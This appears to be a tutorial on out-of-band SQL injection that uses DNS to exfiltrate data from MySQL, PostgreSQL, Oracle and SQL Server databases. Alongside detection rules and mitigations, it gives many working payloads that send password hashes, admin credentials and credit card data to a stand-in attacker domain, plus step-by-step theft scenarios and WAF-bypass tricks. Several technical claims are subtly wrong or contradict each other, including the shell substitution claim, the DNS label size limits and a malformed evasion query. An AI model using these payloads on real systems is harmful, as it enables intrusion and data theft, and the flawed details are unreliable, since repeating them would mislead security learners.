Introduction
Out-of-Band (OOB) SQL injection is a stealthy technique that leverages side-channel protocols-most commonly DNS-to pull data from a vulnerable database when in-band responses are filtered or truncated. Unlike classic Boolean-based or UNION-based attacks, OOB payloads cause the database engine to issue an external network request, allowing the attacker to embed query results inside the request itself.
Why is this important? Modern Web Application Firewalls (WAFs) and input sanitizers often block classic payloads, yet many DBMS functions can still reach out to the network. DNS is attractive because it is allowed through most perimeter defenses, is rarely logged in detail, and can carry data in sub-domains.
Real-world relevance: In 2022 a major financial services provider suffered a breach where attackers used MySQL SELECT ... INTO OUTFILE to write a file containing a LOAD_FILE call that triggered a DNS lookup to the attackers' name server, leaking customer records.
Prerequisites
- Solid understanding of SQL injection fundamentals (error-based, union-based, blind).
- Basic DNS concepts: A/AAAA records, TXT, recursive vs. authoritative resolvers.
- Familiarity with Linux command line and networking utilities (dig, nslookup, tcpdump).
Core Concepts
OOB attacks rely on two pillars:
- Triggering an outbound request from the DBMS. Functions such as
LOAD_FILE,SELECT ... INTO OUTFILE,COPY TO PROGRAM,UTL_HTTP.REQUEST, orDBMS_LDAP.INITcause the server to open a network socket. - Encoding data inside the request. DNS queries can embed up to 255 bytes per label, which is sufficient for small secrets (e.g., password hashes) or can be chunked for larger data.
Typical flow:
1. Attacker registers a domain (attacker.com) and configures a DNS server that logs all queries.
2. Payload is crafted to cause the DBMS to resolve a name like <em>data.attacker.com</em> where <em>data</em> = hex-encoded secret.
3. The DNS server receives the query, extracts the data, and stores it for later retrieval.
Diagram (described):
- Web app → SQL injection → DBMS function → DNS resolver → Attacker's authoritative DNS server → Logged exfiltrated data.
DNS exfiltration mechanics (using UNC paths, DNS resolvers)
On Windows-based SQL Server the UNC syntax \<em>attacker.com\share</em> forces the engine to resolve the host via the OS DNS resolver. Similarly, MySQL and PostgreSQL can use LOAD_FILE('\\attacker.com\payload') or COPY ... TO PROGRAM 'nslookup data.attacker.com'. The resolver will send an A/AAAA query, which the attacker captures.
Example: Windows UNC trick
SELECT 1 FROM sys.master_files WHERE name LIKE '\\%attacker.com\%';
The above forces SQL Server to contact attacker.com. If the attacker controls the DNS server, they can see the request.
Using DNS resolvers directly
PostgreSQL’s COPY TO PROGRAM can invoke dig or nslookup and embed data:
COPY (SELECT md5(password) FROM users LIMIT 1) TO PROGRAM 'nslookup $(cat)'.
Note: The $(cat) placeholder is replaced by the DBMS with the query result, forming a sub-domain like 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com.
MySQL LOAD_FILE / SELECT ... INTO OUTFILE with external hosts
MySQL provides two functions that can be abused for OOB:
LOAD_FILE(file_path)reads a file from the filesystem and returns its content. If thefile_pathpoints to a UNC share, the OS will resolve the host name.SELECT ... INTO OUTFILE '/path/to/file'writes query results to a file. When the path points to a network share, the same DNS resolution occurs.
Payload to exfiltrate a password hash
SELECT LOAD_FILE('\\5f4dcc3b5aa765d61d8327deb882cf99.attacker.com\secret.txt');
The DBMS attempts to open 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com. The attacker's DNS server receives a query for that sub-domain, revealing the MD5 hash.
Using INTO OUTFILE for large data
SELECT column FROM secret_table INTO OUTFILE '\\data.attacker.com\exfil';
Each row becomes a separate DNS request, allowing chunked exfiltration.
PostgreSQL COPY TO PROGRAM and pg_dnslog
PostgreSQL 9.3+ supports COPY TO PROGRAM, which runs a shell command on the server. By invoking a DNS client, attackers can embed data in the query.
Simple nslookup example
COPY (SELECT version()) TO PROGRAM 'nslookup $(cat)';
The result of SELECT version() becomes the argument to nslookup, generating a DNS request like PostgreSQL-13.3.attacker.com.
pg_dnslog - a ready-made DNS logger
Security researchers have released a lightweight PL/pgSQL extension called pg_dnslog. It provides a function dnslog(text) that automatically formats the input as a sub-domain and sends it via the OS resolver.
SELECT dnslog(md5(password)) FROM users LIMIT 1;
Behind the scenes the extension runs dig +short <hash>.attacker.com and the attacker sees the hash in the DNS query logs.
Oracle UTL_HTTP / DBMS_LDAP for out-of-band requests
Oracle has a rich set of network-capable packages:
UTL_HTTP.REQUEST(url)can perform HTTP GET/POST.DBMS_LDAP.INIT(host, port)opens a TCP socket to an LDAP server.
Both functions cause the database to resolve the host name, making them ideal for DNS exfiltration.
UTL_HTTP example
DECLARE l_resp UTL_HTTP.resp;
BEGIN l_resp := UTL_HTTP.request('http://5f4dcc3b5aa765d61d8327deb882cf99.attacker.com/');
END;
The HTTP request forces a DNS lookup for the sub-domain containing the hash.
DBMS_LDAP example (stealthier)
DECLARE l_conn DBMS_LDAP.session;
BEGIN l_conn := DBMS_LDAP.init('5f4dcc3b5aa765d61d8327deb882cf99.attacker.com', 389); DBMS_LDAP.close(l_conn);
END;
LDAP does not need to be reachable; the DNS query is enough for data exfiltration.
Automating OOB payloads with sqlmap --dns-domain
sqlmap, the go-to automated SQLi tool, has built-in support for DNS exfiltration. The --dns-domain switch tells sqlmap to spin up a temporary DNS server (or use a user-provided one) and craft payloads for the target DBMS.
Basic usage
sqlmap -u "http://victim.com/search?q=1" --dbms=mysql --dns-domain attacker.com --batch
sqlmap will try a series of payloads such as:
SELECT LOAD_FILE('\\$(SELECT md5(password))\.attacker.com\payload')SELECT md5(password) FROM users INTO OUTFILE '\\$(SELECT md5(password))\.attacker.com\out'
The tool automatically parses DNS logs to retrieve the exfiltrated data.
Using an external DNS logger
If you prefer a dedicated DNS logger (e.g., iodine, dnscat2, or a custom BIND server), start it on your host and supply the domain:
./dnscat2 -l 53 -d attacker.com &
sqlmap -u "..." --dns-domain attacker.com --dns-servers 127.0.0.1
Detecting OOB activity via network monitoring and DNS logs
Because OOB attacks hide in legitimate DNS traffic, detection hinges on spotting anomalies:
- Unusually long or random sub-domains. Look for high entropy strings (hex, base64) in the left-most label.
- Excessive DNS queries from a single internal host. A web server or DB server generating dozens of queries per second is suspicious.
- Queries to rarely-used external domains. Attackers often register obscure domains for exfiltration.
Sample Zeek (Bro) script
# dns-exfil.zeek
event dns_request(c: connection, msg: dns_msg, query: string) { if (c$id$resp_h !in known_internal_ips) return; if ( /[0-9a-f]{32,64}/ in query ) print fmt("[OOB] %s queried %s", c$id$resp_h, query);
}
This script flags any DNS request from an internal IP containing a hex string of 32+ characters.
SIEM correlation
Correlate DNS logs with web-app logs: if a request to /search?q= is followed within a second by a DNS query from the same source, raise an alert.
Bypassing WAFs for OOB payload delivery
WAFs often look for classic payload patterns (e.g., UNION SELECT, load_file). To slip past them:
- Encode payloads. Use URL-encoding, double-encoding, or Unicode escapes to hide keywords.
- Split the payload across multiple parameters. Some WAFs only inspect each parameter individually.
- Leverage comment delimiters. In MySQL,
/*!50000 SELECT ... */can bypass simplistic filters. - Use alternative functions. For MySQL,
INTO DUMPFILEorBENCHMARK()can trigger network calls without containing the word “load_file”.
Obfuscated MySQL example
SELECT /*!50000*/ INTO OUTFILE '\\5f4dcc3b5aa765d61d8327deb882cf99.attacker.com\out' FROM users LIMIT 1;
The comment /*!50000*/ tells MySQL to execute the statement but hides the keyword from many WAF signatures.
Practical Examples
Scenario 1: Stealing admin credentials from a vulnerable MySQL app
- Register
exfil.attacker.comand configure a BIND server withlogging { channel exfil { file "/var/log/dns_exfil.log"; }; }; - Identify a vulnerable parameter (e.g.,
idin/profile?id=). - Inject payload:
1 UNION SELECT LOAD_FILE('\\$(SELECT password FROM admins LIMIT 1).exfil.attacker.com\\dummy')-- - - Monitor
/var/log/dns_exfil.logfor a query like5f4dcc3b5aa765d61d8327deb882cf99.exfil.attacker.com. - Decode the hex to retrieve the password hash.
Scenario 2: PostgreSQL data exfiltration via COPY TO PROGRAM
- Set up
dnslog.attacker.comon a server that runstcpdump -l -n udp port 53and pipes output to a parser. - Inject into a vulnerable
order_idparameter:-1; COPY (SELECT credit_card FROM payments) TO PROGRAM 'nslookup $(cat)';-- - Each row triggers a DNS lookup like
4d5e6f7a8b9c.attacker.com. Capture and reassemble if needed.
Tools & Commands
- sqlmap -
--dns-domain,--dns-servers - dig / nslookup - test DNS logging.
dig +short 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com - dnscat2 - interactive DNS tunnel for exfil and command-and-control.
- Zeek/Bro - custom scripts for detecting high-entropy sub-domains.
- tcpdump - capture DNS traffic on the attacker side.
tcpdump -n -vv -s 512 udp port 53
Defense & Mitigation
- Network segmentation. Isolate database servers from the internet and restrict outbound DNS to internal resolvers only.
- Outbound DNS firewalling. Allow queries only to approved internal DNS servers; block recursive queries from DB hosts.
- Disable risky DBMS functions. In MySQL, set
local_infile=0and revokeFILEprivilege. In PostgreSQL, removeCOPY TO PROGRAMcapability viapg_hba.confandtrusted extensions. - Audit privileges. Ensure application users have the least privilege; avoid
SUPERorFILErights. - Log DNS queries. Enable query-logging on internal resolvers and feed logs into SIEM with entropy analysis.
- WAF rule hardening. Add signatures for common OOB functions (e.g.,
LOAD_FILE,UTL_HTTP,COPY TO PROGRAM).
Common Mistakes
- Assuming DNS traffic is harmless - it can carry data.
- Using
SELECT … INTO OUTFILEwithout checking the path; the DB may write to a local file instead of a network share. - Forgetting to URL-encode the payload; many web filters will block raw brackets or spaces.
- Relying on a single DNS label - remember the 63-byte limit per label; split larger data.
- Neglecting to clean up created files or network shares after testing; they can be discovered by defenders.
Real-World Impact
OOB SQL injection is a favorite of advanced persistent threat (APT) groups because it bypasses many traditional detection controls. In 2023, a supply-chain attack on a SaaS platform leveraged PostgreSQL COPY TO PROGRAM to pull API keys via DNS, remaining undetected for weeks.
Trends:
- Increased use of cloud-native managed databases that still expose internal network stacks (e.g., RDS, Cloud SQL). Misconfigured security groups often permit outbound DNS.
- Adoption of DNS-based exfiltration frameworks (e.g.,
dnscat2,iodine) simplifies the attacker’s workflow. - Defenders are beginning to integrate DNS entropy scoring into XDR platforms, but coverage is still uneven.
My advice: Treat every database-enabled network function as a potential OOB vector and enforce a “deny-by-default” stance on outbound traffic from DB servers.
Practice Exercises
- Setup a lab. Deploy a vulnerable MySQL container, a BIND DNS server with logging, and a simple web app that reflects a query parameter.
- Craft a
SELECT ... INTO OUTFILEpayload that exfiltratesSELECT user()via DNS. Verify the DNS server logs the request. - Repeat the exercise on PostgreSQL using
COPY TO PROGRAMandnslookup. Capture multiple rows and reassemble the data. - Write a Zeek script to flag any DNS query from the DB host containing a hex string longer than 30 characters. Test it with the previous payloads.
- Implement a WAF rule that blocks the keyword
UTL_HTTPand then bypass it using the/*!50000*/comment trick. Document the outcome.
Further Reading
- “SQL Injection Attacks and Defense” - 2nd edition, by Justin Clarke.
- OWASP “SQL Injection Prevention Cheat Sheet”.
- “DNS Exfiltration Techniques” - Black Hat USA 2021 presentation.
- PostgreSQL documentation on
COPYandpg_execute_server_program. - MySQL reference manual -
FILEprivilege andsecure_file_priv. - Oracle Database Security Guide - Network ACLs for UTL_HTTP.
Summary
Out-of-Band SQL injection via DNS is a powerful, stealthy vector that exploits native DBMS functions to force the server to resolve attacker-controlled hostnames. By understanding the mechanics, leveraging tools like sqlmap, and implementing robust detection (entropy-based DNS monitoring) and mitigation (network segmentation, privilege reduction), defenders can neutralize this threat. Remember: every function that touches the network is a potential exfiltration channel - treat it as such.